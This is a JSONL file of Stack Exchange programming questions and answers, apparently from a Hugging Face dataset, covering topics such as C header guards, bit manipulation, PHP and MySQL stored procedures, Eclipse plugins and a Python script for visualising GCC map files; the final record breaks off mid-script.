{"id": "hf_65023422f15a", "question": "<p>I'm interested in finding good icons/images that can be used in both 'free' and proprietary programs. </p>\n\n<p>Please include a description of any license restrictions associated with the source of the icons you suggest.</p>\n", "question_body": "", "answer": "I use two search engines:\nIconFinder\nand\nIconLook\n.\nIf you can't find what you want, this\nblog post\nhas a list of great resources.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.316526"}
{"id": "hf_2bcd5b79f721", "question": "<p>I'm used to doing all my coding in one C file. However, I'm working on a project large enough that it becomes impractical to do so. I've been #including them together but I've run into cases where I'm #including some files multiple times, etc. I've heard of .h files, but I'm not sure what their function is (or why having 2 files is better than 1).</p>\n\n<p>What strategies should I use for organizing my code? Is it possible to separate \"public\" functions from \"private\" ones for a particular file?</p>\n\n<p><a href=\"https://stackoverflow.com/questions/47878/codereview-tiny-encryption-algorithm-for-arbitrary-sized-data\">This</a> question precipitated my inquiry. The tea.h file makes no reference to the tea.c file. Does the compiler \"know\" that every .h file has a corresponding .c file?</p>\n", "question_body": "", "answer": "Try to make each .c focus on a particular area of functionality. Use the corresponding .h file to declare those functions.\nEach .h file should have a 'header' guard around it's content. For example:\n```\n```\n#ifndef ACCOUNTS_H\n#define ACCOUNTS_H\n....\n#endif\n```\n```\nThat way you can include \"accounts.h\" as many times as you want, and the first time it's seen in a particular compilation unit will be the only one that actually pulls in its content.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.339926"}
{"id": "hf_f2b5c9451fb5", "question": "<p>I've read some about .egg files and I've noticed them in my lib directory but what are the advantages/disadvantages of using then as a developer?</p>\n", "question_body": "", "answer": "From the\nPython Enterprise Application Kit community\n:\n\"Eggs are to Pythons as Jars are to Java...\"\nPython eggs are a way of bundling\n  additional information with a Python\n  project, that allows the project's\n  dependencies to be checked and\n  satisfied at runtime, as well as\n  allowing projects to provide plugins\n  for other projects. There are several\n  binary formats that embody eggs, but\n  the most common is '.egg' zipfile\n  format, because it's a convenient one\n  for distributing projects. All of the\n  formats support including\n  package-specific data, project-wide\n  metadata, C extensions, and Python\n  code.\nThe primary benefits of Python Eggs\n  are:\nThey enable tools like the \"Easy Install\" Python package manager\n.egg files are a \"zero installation\" format for a Python\n  package; no build or install step is\n  required, just put them on PYTHONPATH\n  or sys.path and use them (may require\n  the runtime installed if C extensions\n  or data files are used)\nThey can include package metadata, such as the other eggs they depend on\nThey allow \"namespace packages\" (packages that just contain other\n  packages) to be split into separate\n  distributions (e.g. zope.\n, twisted.\n,\n  peak.* packages can be distributed as\n  separate eggs, unlike normal packages\n  which must always be placed under the\n  same parent directory. This allows\n  what are now huge monolithic packages\n  to be distributed as separate\n  components.)\nThey allow applications or libraries to specify the needed\n  version of a library, so that you can\n  e.g. require(\"Twisted-Internet>=2.0\")\n  before doing an import\n  twisted.internet.\nThey're a great format for distributing extensions or plugins to\n  extensible applications and frameworks\n  (such as Trac, which uses eggs for\n  plugins as of 0.9b1), because the egg\n  runtime provides simple APIs to locate\n  eggs and find their advertised entry\n  points (similar to Eclipse's\n  \"extension point\" concept).\nThere are also other benefits that may come from having a standardized\n  format, similar to the benefits of\n  Java's \"jar\" format.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.385856"}
{"id": "hf_996510c428af", "question": "<p>How do I set, clear, and toggle a bit?</p>\n", "question_body": "", "answer": "Setting a bit\nUse the bitwise OR operator (\n```\n|\n```\n) to set a bit.\n```\n```\nnumber |= 1UL << n;\n```\n```\nThat will set the\n```\nn\n```\nth bit of\n```\nnumber\n```\n.\n```\nn\n```\nshould be zero, if you want to set the\n```\n1\n```\nst bit and so on upto\n```\nn-1\n```\n, if you want to set the\n```\nn\n```\nth bit.\nUse\n```\n1ULL\n```\nif\n```\nnumber\n```\nis wider than\n```\nunsigned long\n```\n; promotion of\n```\n1UL << n\n```\ndoesn't happen until after evaluating\n```\n1UL << n\n```\nwhere it's undefined behaviour to shift by more than the width of a\n```\nlong\n```\n.  The same applies to all the rest of the examples.\nClearing a bit\nUse the bitwise AND operator (\n```\n&\n```\n) to clear a bit.\n```\n```\nnumber &= ~(1UL << n);\n```\n```\nThat will clear the\n```\nn\n```\nth bit of\n```\nnumber\n```\n. You must invert the bit string with the bitwise NOT operator (\n```\n~\n```\n), then AND it.\nToggling a bit\nThe XOR operator (\n```\n^\n```\n) can be used to toggle a bit.\n```\n```\nnumber ^= 1UL << n;\n```\n```\nThat will toggle the\n```\nn\n```\nth bit of\n```\nnumber\n```\n.\nChecking a bit\nYou didn't ask for this, but I might as well add it.\nTo check a bit, shift the number n to the right, then bitwise AND it:\n```\n```\nbit = (number >> n) & 1U;\n```\n```\nThat will put the value of the\n```\nn\n```\nth bit of\n```\nnumber\n```\ninto the variable\n```\nbit\n```\n.\nChanging the\nn\nth bit to\nx\nSetting the\n```\nn\n```\nth bit to either\n```\n1\n```\nor\n```\n0\n```\ncan be achieved with the following on a 2's complement C++ implementation:\n```\n```\nnumber ^= (-x ^ number) & (1UL << n);\n```\n```\nBit\n```\nn\n```\nwill be set if\n```\nx\n```\nis\n```\n1\n```\n, and cleared if\n```\nx\n```\nis\n```\n0\n```\n.  If\n```\nx\n```\nhas some other value, you get garbage.\n```\nx = !!x\n```\nwill booleanize it to 0 or 1.\nTo make this independent of 2's complement negation behaviour (where\n```\n-1\n```\nhas all bits set, unlike on a 1's complement or sign/magnitude C++ implementation), use unsigned negation.\n```\n```\nnumber ^= (-(unsigned long)x ^ number) & (1UL << n);\n```\n```\nor\n```\n```\nunsigned long newbit = !!x;    // Also booleanize to force 0 or 1\nnumber ^= (-newbit ^ number) & (1UL << n);\n```\n```\nIt's generally a good idea to use unsigned types for portable bit manipulation.\nor\n```\n```\nnumber = (number & ~(1UL << n)) | (x << n);\n```\n```\n```\n(number & ~(1UL << n))\n```\nwill clear the\n```\nn\n```\nth bit and\n```\n(x << n)\n```\nwill set the\n```\nn\n```\nth bit to\n```\nx\n```\n.\nIt's also generally a good idea to not to copy/paste code in general and so many people use preprocessor macros (like\nthe community wiki answer further down\n) or some sort of encapsulation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.455362"}
{"id": "hf_b5fb892b8efd", "question": "<p>Is there a risk of legal trouble if you include  GPL or LGPL licensed icons in a closed source software?  </p>\n\n<p>Would it force it to become open source just to include the icon?</p>\n\n<p>Does it matter if the icon is compiled as a resource?</p>\n\n<p>Are the creative common licensed icons safe to use if you follow the attribution rules specified by the license?</p>\n", "question_body": "", "answer": "For GPL, yes. Any GPL Code/Content that's compiled into your Application or the Package will make it GPL. (Edit: What could be safe is if the Icon is a separate file and is used. That could be a grey area, as you are not using GPL Code to access it. But any attempt to embed it will force your program to GPL, it's one of the most restrictive licenses out there)\nLGPL is fine: Any modification to LGPL Content has to be released under LGPL, but using the Code/Content is safe.\nAddition: Like LGPL, CreativeCommons usually only affects the Content you're using. So if you're using a CC Icon and modify it, you will have to give out the modified item under CreativeCommons, but your Application is not affected. Just mind the \"Non-Commercial\" Clause if it exists.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.481045"}
{"id": "hf_3c399bccb01a", "question": "<p>What are the performance, security, or \"other\" implications of using the following form to declare a new class instance in PHP</p>\n\n<pre><code>&lt;?php\n  $class_name = 'SomeClassName';\n  $object = new $class_name;\n?&gt;\n</code></pre>\n\n<p>This is a contrived example, but I've seen this form used in Factories (OOP) to avoid having a big if/switch statement.</p>\n\n<p>Problems that come immediately to mind are    </p>\n\n<ol>\n<li><s>You lose the ability to pass arguments into a constructor</s> (LIES. Thanks Jeremy)</li>\n<li>Smells like eval(), with all the security concerns it brings to the table (but not necessarily the performance concerns?)</li>\n</ol>\n\n<p>What other implications are there, or what search engine terms other than \"Rank PHP Hackery\" can someone use to research this?</p>\n", "question_body": "", "answer": "It looks you can still pass arguments to the constructor, here's my test code:\n```\n```\n<?php\n\nclass Test {\n    function __construct($x) {\n        echo $x;\n    }\n}\n\n$class = 'Test';\n$object = new $class('test'); // echoes \"test\"\n\n?>\n```\n```\nThat is what you meant, right?\nSo the only other problem you mentioned and that I can think of is the security of it, but it shouldn't be too difficult to make it secure, and it's obviously a lot more secure than using eval().", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.516306"}
{"id": "hf_7583bf86c706", "question": "<p>Can someone explain the mechanics of a jump table and why is would be needed in embedded systems?</p>\n", "question_body": "", "answer": "From Wikipedia\n:\nIn computer programming, a branch\n  table (sometimes known as a jump\n  table) is a term used to describe an\n  efficient method of transferring\n  program control (branching) to another\n  part of a program (or a different\n  program that may have been dynamically\n  loaded) using a table of branch\n  instructions. The branch table\n  construction is commonly used when\n  programming in assembly language but\n  may also be generated by a compiler.\nA branch table consists of a serial\n  list of unconditional branch\n  instructions that is branched into\n  using an offset created by multiplying\n  a sequential index by the instruction\n  length (the number of bytes in memory\n  occupied by each branch instruction).\n  It makes use of the fact that machine\n  code instructions for branching have a\n  fixed length and can be executed\n  extremely efficiently by most\n  hardware, and is most useful when\n  dealing with raw data values that may\n  be easily converted to sequential\n  index values. Given such data, a\n  branch table can be extremely\n  efficient; it usually consists of the\n  following steps: optionally validating\n  the input data to ensure it is\n  acceptable; transforming the data into\n  an offset into the branch table, this\n  usually involves multiplying or\n  shifting it to take into account the\n  instruction length; and branching to\n  an address made up of the base of the\n  table and the generated offset: this\n  often involves an addition of the\n  offset onto the program counter\n  register.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.551952"}
{"id": "hf_84616623fb44", "question": "<p>I'm working on a project with a friend that will utilize Hbase to store it's data.  Are there any good query examples?  I seem to be writing a ton of Java code to iterate through lists of RowResult's when, in SQL land, I could write a simple query.  Am I missing something?  Or is Hbase missing something?</p>\n", "question_body": "", "answer": "I think you, like many of us, are making the mistake of treating bigtable and HBase like just another RDBMS when it's actually a column-oriented storage model meant for efficiently storing and retrieving large sets of sparse data. This means storing, ideally, many-to-one relationships within a single row, for example. Your queries should return very few rows but contain (potentially) many datapoints.\nPerhaps if you told us more about what you were trying to store, we could help you design your schema to match the bigtable/HBase way of doing things.\nFor a good rundown of what HBase does differently than a \"traditional\" RDBMS, check out this awesome article:\nMatching Impedance: When to use HBase\nby Bryan Duxbury.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.582406"}
{"id": "hf_7212f8a50efd", "question": "<p>I read somewhere once that the modulus operator is inefficient on small embedded devices like 8 bit micro-controllers that do not have integer division instruction. Perhaps someone can confirm this but I thought the difference is 5-10 time slower than with an integer division operation.</p>\n\n<p>Is there another way to do this other than keeping a counter variable and manually overflowing to 0 at the mod point?<p></p>\n\n<pre><code>const int FIZZ = 6;\nfor(int x = 0; x &lt; MAXCOUNT; x++)\n{\n    if(!(x % FIZZ)) print(\"Fizz\\n\"); // slow on some systems\n}\n</code></pre>\n\n<p>vs:</p>\n\n<p>The way I am currently doing it:</p>\n\n<pre><code>const int FIZZ = 6;\nint fizzcount = 1;\nfor(int x = 1; x &lt; MAXCOUNT; x++)\n{\n    if(fizzcount &gt;= FIZZ) \n    {\n        print(\"Fizz\\n\");\n        fizzcount = 0;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "In the embedded world, the \"modulus\" operations you need to do are often the ones that break down nicely into bit operations that you can do with\n```\n&\n```\n,\n```\n|\n```\nand sometimes\n```\n>>\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.609327"}
{"id": "hf_9108cedf1d16", "question": "<p>I need a quick algorithm to select 5 random elements from a generic list. For example, I'd like to get 5 random elements from a <code>List&lt;string&gt;</code>.</p>\n", "question_body": "", "answer": "Iterate through and for each element make the probability of selection = (number needed)/(number left)\nSo if you had 40 items, the first would have a 5/40 chance of being selected. If it is, the next has a 4/39 chance, otherwise it has a 5/39 chance. By the time you get to the end you will have your 5 items, and often you'll have all of them before that.\nThis technique is called\nselection sampling\n, a special case of\nReservoir Sampling\n. It's similar in performance to shuffling the input, but of course allows the sample to be generated without modifying the original data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.657148"}
{"id": "hf_1c074cb8cc8c", "question": "<p>I'm using an Ubuntu 8.04 (x86_64) machine to connect to my employer's Cisco VPN. (The client didn't compile out of the box, but I found <a href=\"http://projects.tuxx-home.at/?id=cisco_vpn_client\" rel=\"nofollow noreferrer\">patches to update the client to compile on kernels released in the last two years</a>.) This all works great, until my DHCP client decides to renew its lease and updates /etc/resolv.conf, replacing the VPN-specific name servers with my general network servers.</p>\n\n<p>Is there a good way to prevent my DHCP client from updating /etc/resolv.conf while my VPN is active?</p>\n", "question_body": "", "answer": "If you are running without NetworkManager handling the connections, use the resolvconf package to act as an intermediary to programs tweaking /etc/resolv.conf:\n```\nsudo apt-get install resolvconf\n```\nIf you are using NetworkManager it will handle this for you, so get rid of the resolvconf package:\n```\nsudo apt-get remove resolvconf\n```\nI found out about this when setting up vpnc on Ubuntu last week. A search for\n```\nvpn resolv.conf\n```\non ubuntuforums.org has 250 results, many of which are very related!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.705353"}
{"id": "hf_d4d3827de916", "question": "<p>How can I generate a (pseudo)random alpha-numeric string, something like: 'd79jd8c' in PHP?</p>\n", "question_body": "", "answer": "First make a string with all your possible characters:\n```\n```\n$characters = 'abcdefghijklmnopqrstuvwxyz0123456789';\n```\n```\nYou could also use\nrange()\nto do this more quickly.\nThen, in a loop, choose a random number and use it as the index to the\n```\n$characters\n```\nstring to get a random character, and append it to your string:\n```\n```\n$string = '';\n $max = strlen($characters) - 1;\n for ($i = 0; $i < $random_string_length; $i++) {\n      $string .= $characters[mt_rand(0, $max)];\n }\n```\n```\n```\n$random_string_length\n```\nis the length of the random string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.742537"}
{"id": "hf_caf4c8b90849", "question": "<p>Documentation is severely lacking on anything to do with stored procedures in mysql with PHP. I currently have a stored procedure that I call via PHP, how can I get the value of an out parameter?</p>\n", "question_body": "", "answer": "it looks like it's answered in this post:\nhttp://forums.mysql.com/read.php?52,198596,198717#msg-198717\nWith mysqli PHP API:\nAssume sproc myproc( IN i int, OUT j int ):\n```\n```\n$mysqli = new mysqli(  \"HOST\", \"USR\", \"PWD\", \"DBNAME\" );\n$ivalue=1;\n$res = $mysqli->multi_query( \"CALL myproc($ivalue,@x);SELECT @x\" );\nif( $res ) {\n  $results = 0;\n  do {\n    if ($result = $mysqli->store_result()) {\n      printf( \"<b>Result #%u</b>:<br/>\", ++$results );\n      while( $row = $result->fetch_row() ) {\n        foreach( $row as $cell ) echo $cell, \"&nbsp;\";\n      }\n      $result->close();\n      if( $mysqli->more_results() ) echo \"<br/>\";\n    }\n  } while( $mysqli->next_result() );\n}\n$mysqli->close();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.766716"}
{"id": "hf_5739c0d89aef", "question": "<p>Can somebody suggest a good <strong>free</strong> tool for analyzing .Net memory dumps other than Adplus/windbg/sos ?</p>\n", "question_body": "", "answer": "You can\nload sos\nand your memory dump into Visual Studio to at least insulate you from the 'interesting' ui that WinDbg presents.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.818651"}
{"id": "hf_cfe9e6313d66", "question": "<p>I need to automate a process involving a website that is using a login form. I need to capture some data in the pages following the login page.</p>\n\n<p>I know how to screen-scrape normal pages, but not those behind a secure site.</p>\n\n<ol>\n<li>Can this be done with the .NET WebClient class? \n\n<ul>\n<li>How would I automatically login?</li>\n<li>How would I keep logged in for the other pages?</li>\n</ul></li>\n</ol>\n", "question_body": "", "answer": "You can easily simulate user input. You can submit form on the web page from you program by sending post\\get request to a website.\nTypical login form looks like:\n```\n```\n<form name=\"loginForm\" method=\"post\" Action=\"target_page.html\">\n   <input type=\"Text\" name=\"Username\">\n   <input type=\"Password\" name=\"Password\">\n</form>\n```\n```\nYou can send a post request to the website providing values for Username & Password fields. What happens after you send your request is largely depends on a website, usually you will be redirected to some page. You authorization info will be stored in the sessions\\cookie. So if you scrape client can maintain web session\\understands cookies you will be able to access protected pages.\nIt's not clear from your question what language\\framework you're going to use. For example there is a framework for screen scraping (including login functionality) written in perl -\nWWW::Mechanize\nNote, that you can face some problems if site you're trying to login to uses java scripts or some kind of CAPTCHA.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.890445"}
{"id": "hf_95769c05b540", "question": "<p>I want to put songs on a web page and have a little play button, like you can see on Last.fm or Pandora. There can be multiple songs listed on the site, and if you start playing a different song with one already playing, it will pause the first track and begin playing the one you just clicked on. I think they use Flash for this, and I could probably implement it in a few hours, but is there already code I could use for this? Maybe just a flash swf file that you stick hidden on a web page with a basic Javascript API that I can use to stream mp3 files?</p>\n\n<p>Also, what about WMA or AAC files? Is there a universal solution that will play these 3 file types?</p>\n\n<hr>\n\n<p><a href=\"http://musicplayer.sourceforge.net/\" rel=\"nofollow noreferrer\">http://musicplayer.sourceforge.net/</a></p>\n", "question_body": "", "answer": "There are\nmany\nflash mp3 players that you can use that do this. Usually, you just have to edit a text file to point at the mp3s you want to have available.\nHere is the first one that showed up on a google search for\n```\nflash mp3 player\n```\n:\nhttp://www.flashmp3player.org/demo.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.914040"}
{"id": "hf_5464bd77fa08", "question": "<p>I was looking out for a free plugin for developing/debugging JSP pages in eclipse.<br>\nAny suggestions? </p>\n", "question_body": "", "answer": "The\nEclipse Web Tools Platform Project\nincludes a JSP debugger. I have only ever needed to use it with Tomcat so I cannot say how well it works with other servlet containers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.985234"}
{"id": "hf_f51de2ef806b", "question": "<p>In podcast #15, Jeff mentioned he twittered about how to run a regular event in the background as if it was a normal function - unfortunately I can't seem to find that through twitter. Now I need to do a similar thing and are going to throw the question to the masses.</p>\n\n<p>My current plan is when the first user (probably me) enters the site it starts a background thread that waits until the alloted time (hourly on the hour) and then kicks off the event blocking the others (I am a Windows programmer by trade so I think in terms of events and WaitOnMultipleObjects) until it completes.</p>\n\n<p>How did Jeff do it in Asp.Net and is his method applicable to the Java web-app world?</p>\n", "question_body": "", "answer": "Jeff's mechanism was to create some sort of cached object which ASP.Net would automatically recreate at some sort of interval - It seemed to be an ASP.Net specific solution, so probably won't help you (or me) much in Java world.\nSee\nhttps://stackoverflow.fogbugz.com/default.asp?W13117\nAtwood: Well, I originally asked on Twitter, because I just wanted something light weight.  I really didn't want to like write a windows service.  I felt like that was out of band code. Plus the code that actually does the work is a web page in fact, because to me that is a logical unit of work on a website is a web page.  So, it really is like we are calling back into the web site, it's just like another request in the website, so I viewed it as something that should stay inline, and the little approach that we came up that was recommended to me on Twitter was to essentially to add something to the application cache with a fixed expiration, then you have a call back so when that expires it calls a certain function which does the work then you add it back in to the cache with the same expiration.  So, it's a little bit, maybe \"ghetto\" is the right word.\nMy approach has always been to have to OS (i.e. Cron or the Windows task scheduler) load a specific URL at some interval, and then setup a page at that URL to check it's queue, and perform whatever tasks were required, but I'd be interested to hear if there's a better way.\nFrom the transcript, it looks like FogBugz uses the windows service loading a URL approach also.\nSpolsky: So we have this special page called heartbeat.asp.  And that page, whenever you hit it, and anybody can hit it at anytime: doesn't hurt.  But when that page runs it checks a queue of waiting tasks to see if there's anything that needs to be done.  And if there's anything that needs to be done, it does one thing and then looks in that queue again and if there's anything else to be done it returns a plus, and the entire web page that it returns is just a single character with a plus in it.  And if there's nothing else to be done, the queue is now empty, it returns a minus.  So, anybody can call this and hit it as many times, you can load up heartbeat.asp in your web browser you hit Ctrl-R Ctrl-R Ctrl-R Ctrl-R until you start getting minuses instead of pluses.  And when you've done that FogBugz will have completed all of its maintenance work that it needs to do.  So that's the first part, and the second part is a very, very simple Windows service which runs, and its whole job is to call heartbeat.asp and if it gets a plus, call it again soon, and if it gets a minus call it again, but not for a while.  So basically there's this Windows service that's always running, that has a very, very, very simple task of just hitting a URL, and looking to see if it gets a plus or a minus and, and then scheduling when it runs again based on whether it got a plus or a minus.  And obviously you can do any kind of variation you want on this theme, like for example, uh you could actually, instead of returning just a plus or minus you could say \"Okay call me back in 60 seconds\" or \"Call me back right away I have more work to be done.\"  And that's how it works... so that maintenance service it just runs, you know, it's like, you know, a half page of code that runs that maintenance service, and it never has to change, and it doesn't have any of the logic in there, it just contains the tickling that causes these web pages to get called with a certain guaranteed frequency.  And inside that web page at heartbeat.asp there's code that maintains a queue of tasks that need to be done and looks at how much time has elapsed and does, you know, late-night maintenance and every seven days delete all the older messages that have been marked as spam and all kinds of just maintenance background tasks.  And uh, that's how that does that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.071630"}
{"id": "hf_8dabc353bc2f", "question": "<p>Now that I know <code>C++</code> I want to get into desktop application that have a UI instead of <code>Command Prompt</code> stuff, where should I start?, and what are some good <strong>online</strong> resources?</p>\n", "question_body": "", "answer": "I use\nCodegear\n's C++ Builder. It's C++ language support is not 100% but it more than makes up for it by having a great two-way RAD IDE and the ability to use a huge library of existing Delphi components.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.096541"}
{"id": "hf_b3841f09016e", "question": "<p>I would like to know how people implement the following data structures in C# without using the base class library implementations:-</p>\n\n<ul>\n<li>Linked List</li>\n<li>Hash Table</li>\n<li>Binary Search Tree</li>\n<li>Red-Black Tree</li>\n<li>B-Tree</li>\n<li>Binomial Heap</li>\n<li>Fibonacci Heap</li>\n</ul>\n\n<p>and any other fundamental data structures people can think of!</p>\n\n<p>I am curious as I want to improve my understanding of these data structures and it'd be nice to see C# versions rather than the typical C examples out there on the internet!</p>\n", "question_body": "", "answer": "There's a series of\nMSDN articles\non this subject. However, I haven't really read the text myself. I believe that the collections framework by .NET has a broken interface and cannot be extended very well.\nThere's also\nC5\n, a libray that I am investigating right now.\nFor the reason mentioned above, I've had the project to implement my own collections library for .NET but I've stopped this project after the first benchmark revealed that even a straightforward, non-thread-safe generic\n```\nVector\n```\nimplementation is slower than the native\n```\nList<T>\n```\n. Since I've taken care not to produce any inefficient IL code, this means that .NET is simply not suited (yet) for writing on-par replacements for intrinsic data structures, and that the .NET framework has to use some behind-the-scenes knowledge to optimize the builtin collection classes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.119868"}
{"id": "hf_84812e10fc1d", "question": "<p>I'm planning on creating a social networking + MP3 lecture downloading / browsing / commenting / discovery website using Ruby on Rails. Partially for fun and also as a means to learn some Ruby on Rails. I'm looking for a social networking framework that I can use as a basis for my site. I don't want to re-invent the wheel. </p>\n\n<p>Searching the web I found three such frameworks. Which of these three would you recommend using and why?</p>\n\n<p><a href=\"http://portal.insoshi.com/\" rel=\"nofollow noreferrer\">http://portal.insoshi.com/</a></p>\n\n<p><a href=\"http://www.communityengine.org/\" rel=\"nofollow noreferrer\">http://www.communityengine.org/</a></p>\n\n<p><a href=\"http://lovdbyless.com/\" rel=\"nofollow noreferrer\">http://lovdbyless.com/</a></p>\n", "question_body": "", "answer": "I've not worked with these but am aware of this comparison:\n\"Unlike Insoshi and Lovd By Less, which\n  are full social networking Rails\n  applications, Community Engine is a\n  plugin that can add social networking\n  features to existing Rails\n  applications\"\nfrom\nhttp://www.rubyinside.com/community-engine-rails-plugin-that-adds-social-networking-to-your-app-901.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.144467"}
{"id": "hf_0393d1bfd33a", "question": "<p>I'm interested in writing eclipse plugins where do I start? </p>\n\n<p>What resources have helped you?</p>\n\n<p>I'm looking for:<br>\n  1. Tutorials<br>\n  2. Sites devoted to plugin development<br>\n  3. Books  </p>\n", "question_body": "", "answer": "You can find a good step by step detailed tutorial here:\nhttp://www.eclipsepluginsite.com/\nOther tutorials:\nhttp://www.ibm.com/developerworks/opensource/library/os-eclipse-snippet/index.html?ca=dgr-lnxw16RichEclipse\nhttp://www.vogella.de/articles/EclipsePlugIn/article.html\nA decent book, that I've used is \"\nEclipse: Building Commercial-Quality Plug-Ins\n\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:46.276556"}
{"id": "hf_712d5273132c", "question": "<p>My gcc build toolchain produces a .map file. How do I display the memory map graphically?</p>\n", "question_body": "", "answer": "Here's the beginnings of a script in Python. It loads the map file into a list of Sections and Symbols (first half). It then renders the map using HTML (or do whatever you want with the\n```\nsections\n```\nand\n```\nsymbols\n```\nlists).\nYou can control the script by modifying these lines:\n```\n```\nwith open('t.map') as f:\ncolors = ['9C9F84', 'A97D5D', 'F7DCB4', '5C755E']\ntotal_height = 32.0\n```\n```\nmap2html.py\n```\n```\nfrom __future__ import with_statement\nimport re\n\nclass Section:\n    def __init__(self, address, size, segment, section):\n        self.address = address\n        self.size = size\n        self.segment = segment\n        self.section = section\n    def __str__(self):\n        return self.section+\"\"\n\nclass Symbol:\n    def __init__(self, address, size, file, name):\n        self.address = address\n        self.size = size\n        self.file = file\n        self.name = name\n    def __str__(self):\n        return self.name\n\n#===============================\n# Load the Sections and Symbols\n#\nsections = []\nsymbols = []\n\nwith open('t.map') as f:\n    in_sections = True\n    for line in f:\n        m = re.search('^([0-9A-Fx]+)\\s+([0-9A-Fx]+)\\s+((\\[[ 0-9]+\\])|\\w+)\\s+(.*?)\\s*$', line)\n        if m:\n            if in_sections:\n                sections.append(Section(eval(m.group(1)), eval(m.group(2)), m.group(3), m.group(5)))\n            else:\n                symbols.append(Symbol(eval(m.group(1)), eval(m.group(2)), m.group(3), m.group(5)))\n        else:\n            if len(sections) > 0:\n                in_sections = False\n\n#===============================\n# Gererate the HTML File\n#\n\ncolors = ['9C9F84', 'A97D5D', 'F7DCB4', '5C755E']\ntotal_height = 